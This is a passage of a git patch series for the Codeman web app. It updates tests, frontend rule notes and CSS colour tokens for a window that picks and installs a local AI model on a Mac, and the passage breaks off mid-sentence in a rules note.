]); const group = body.querySelector('[role="radiogroup"]')!; const label = page.document.getElementById(group.getAttribute('aria-labelledby')!)!; @@ -1072,20 +1069,76 @@ describe('the memory bar', () => { 'The selected model needs 96% of the memory this Mac can give a model' ); - const expected: Array<[number, string, string, string]> = [ - [1, '81', 'About 31 of 38 GB of memory', 'The model at its peak, with all 131,072 tokens of context in use'], - [4, '45', 'About 17 of 38 GB of memory', 'The model at its peak, with all 65,536 tokens of context in use'], - [0, '96', 'About 36 of 38 GB of memory', 'The model at its peak, with all 131,072 tokens of context in use'], + const expected: Array<[number, string, string]> = [ + [1, '81', 'About 31 of 38 GB of memory'], + [4, '45', 'About 17 of 38 GB of memory'], + [0, '96', 'About 36 of 38 GB of memory'], ]; - for (const [index, percent, figure, legend] of expected) { + for (const [index, percent, figure] of expected) { page.body.querySelectorAll<HTMLElement>('[role="radio"]')[index].click(); expect(meter(page).getAttribute('aria-valuenow')).toBe(percent); expect(fill(page).style.width).toBe(`${percent}%`); expect(texts(page.body, '.lm-figure')).toEqual([figure]); - expect(texts(page.body, '.lm-legend span')[0]).toBe(legend); } }); + it('splits the bar into what the model takes, and names each part with its size', async () => { + const page = mount(); + const memory = { modelBytes: 26_105_798_956, contextBytes: 4_849_664_000, peakBytes: 5_000_000_000 }; + await opened( + page, + status({ + pick: candidate({ memory, fit: 'tight', budgetShare: 0.957, context: 131072 }), + alternatives: [], + budgetBytes: 37_580_963_840, + }) + ); + const fills = [...page.body.querySelectorAll<HTMLElement>('.lm-bar .lm-bar-fill')]; + expect(fills.map((el) => el.dataset.kind)).toEqual(['memory-model', 'memory-context', 'memory-peak']); + expect(fills.map((el) => el.style.width)).toEqual(['69.5%', '12.9%', '13.3%']); + // The meter still says the whole share, for a screen reader. + expect(page.body.querySelector('.lm-bar')!.getAttribute('aria-valuenow')).toBe('96'); + expect(texts(page.body, '.lm-legend-name')).toEqual([ + 'The model', + 'Context, 131,072 tokens', + 'Brief peaks', + 'Stays free', + ]); + expect(texts(page.body, '.lm-legend-size')).toEqual(['26 GB', '5 GB', '5 GB', '2 GB']); + expect(texts(page.body, '.lm-fit')).toEqual(['Tight fit']); + expect(page.body.querySelector('.lm-fit')!.classList.contains('lm-fit-tight')).toBe(true); + }); + + it('gives every row a size tile and a speed gauge scaled to the fastest row', async () => { + const page = mount(); + await opened( + page, + status({ + pick: candidate({ paramsB: 35, tokensPerSecond: 80, speed: 'ok' }), + alternatives: [ + candidate({ modelId: 'b:1', modelLabel: 'B', paramsB: 27.8, tokensPerSecond: 8, speed: 'slow' }), + candidate({ modelId: 'c:1', modelLabel: 'C', paramsB: 9, tokensPerSecond: undefined, speed: 'unknown' }), + ], + }) + ); + expect(texts(page.body, '.lm-tile')).toEqual(['35B', '27B', '9B']); + const tiles = [...page.body.querySelectorAll('.lm-tile')]; + expect(tiles.map((el) => el.className)).toEqual([ + 'lm-tile lm-tile-large', + 'lm-tile lm-tile-mid', + 'lm-tile lm-tile-small', + ]); + const gauges = [...page.body.querySelectorAll('.lm-gauge')]; + expect(gauges.map((el) => el.className)).toEqual([ + 'lm-gauge lm-gauge-ok', + 'lm-gauge lm-gauge-slow', + 'lm-gauge lm-gauge-unknown', + ]); + expect(gauges[0].querySelector<HTMLElement>('.lm-gauge-fill')!.style.width).toBe('100%'); + expect(gauges[1].querySelector<HTMLElement>('.lm-gauge-fill')!.style.width).toBe('10%'); + expect(gauges[2].querySelector('.lm-gauge-fill')).toBeNull(); + }); + it('never runs past its track', async () => { const page = mount(); await opened(page, status({ pick: candidate({ budgetShare: 1.2 }), alternatives: [] })); @@ -1093,11 +1146,11 @@ describe('the memory bar', () => { expect(fill(page).style.width).toBe('100%'); }); - it('is one flat fill on a track, and stands still when motion is not wanted', () => { + it('moves on a width transition, without a glow, and stands still when motion is not wanted', () => { const bar = STYLES.match(/\.lm-bar-fill \{[^}]*\}/)![0]; - expect(bar).toContain('background: var(--accent);'); - expect(bar).not.toMatch(/gradient|box-shadow|animation/); - expect(STYLES).toMatch(/\.lm-bar \{[^}]*height: 10px;[^}]*border-radius: 999px;/); + expect(bar).toContain('transition: width'); + expect(bar).not.toMatch(/box-shadow|animation/); + expect(STYLES).toMatch(/\.lm-bar \{[^}]*height: 12px;[^}]*border-radius: 999px;/); expect(STYLES).toMatch(/@media \(prefers-reduced-motion: reduce\) \{\s*\.lm-bar-fill,[^}]*transition: none;/); }); }); From 6b1664abaeb4f1f9e70abdf4c9b829a15c47db90 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Sat, 7 Nov 2026 03:22:25 +0100 Subject: [PATCH 26/28] docs(local-model): the memory map in the frontend rules Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --- src/web/CLAUDE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index f1b58419..1cfa5424 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). -**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), a flat `--accent` fill on a `--text-muted` track (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`; the visual walk is a scratch Playwright script, not a test. +**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: violet for the feature, green good, amber tight, orange slow, teal the context, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`; the visual walk is a scratch Playwright script, not a test. **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) From aa76b1b30448c0077497f8380d77733debf1f200 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Sat, 7 Nov 2026 03:44:19 +0100 Subject: [PATCH 27/28] style(local-model): rose for the brief peaks in the memory map Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --- src/web/public/styles.css | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/src/web/public/styles.css b/src/web/public/styles.css index f23a4942..8ee0763a 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22329,13 +22329,14 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til /* The feature's own colours. Violet is what the local model is known by, on the start screen and in its window; the others carry meaning (green good, - amber tight, orange slow, teal the context). All of them are set here, once, + amber tight, orange slow, teal the context, rose the brief peaks). All of them are set here, once, and the light skins get deeper values so they hold on a pale page. */ :root { --lm-violet: #a78bfa; --lm-teal: #2dd4bf; --lm-amber: #f5c451; --lm-orange: #fb923c; + --lm-rose: #f58ba8; --lm-good: #4ade80; --lm-cta-a: #8567f4; --lm-cta-b: #6346e0; @@ -22351,6 +22352,7 @@ html[data-skin='rose-pine-dawn'] { --lm-teal: #0b8378; --lm-amber: #a86a00; --lm-orange: #c2500f; + --lm-rose: #c43a68; --lm-good: #16803c; } @@ -22633,8 +22635,8 @@ html[data-skin='rose-pine-dawn'] { .lm-part-peak { background: repeating-linear-gradient( -45deg, - var(--lm-amber) 0 3px, - color-mix(in srgb, var(--lm-amber) 45%, transparent) 3px 6px + var(--lm-rose) 0 3px, + color-mix(in srgb, var(--lm-rose) 62%, transparent) 3px 6px ); } From be8fc2980aeefb5cc111baca17378ac656504766 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Sat, 7 Nov 2026 04:23:02 +0100 Subject: [PATCH 28/28] style(local-model): white for the feature, built like the primary launcher The violet button was the one thing on the start screen outside the app's blue, and it carried white text and a see-through disc where its neighbour has dark ink and a solid disc. It is now white with dark ink and a solid disc, the same on the Install button, and the chooser's selected row, tile and model bar follow. Light skins turn it over to dark, since a white button vanishes on a pale page. The context takes the app's blue. The tokens are named for what they mean now (--lm-brand, --lm-context). Brings test/local-model-ui.browser.test.ts up to the redesign it had fallen behind: it is outside the gate, so the button's 46 px, the 12 px bar and the memory panel's edges had gone unnoticed. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --- src/web/CLAUDE.md | 2 +- src/web/public/styles.css | 100 ++++++++++++++++------------ test/local-model-ui.browser.test.ts | 44 +++++++----- 3 files changed, 85 insertions(+), 61 deletions(-) diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index 1cfa5424..9268b440 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). -**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: violet for the feature, green good, amber tight, orange slow, teal the context, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`; the visual walk is a scratch Playwright script, not a test. +**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings 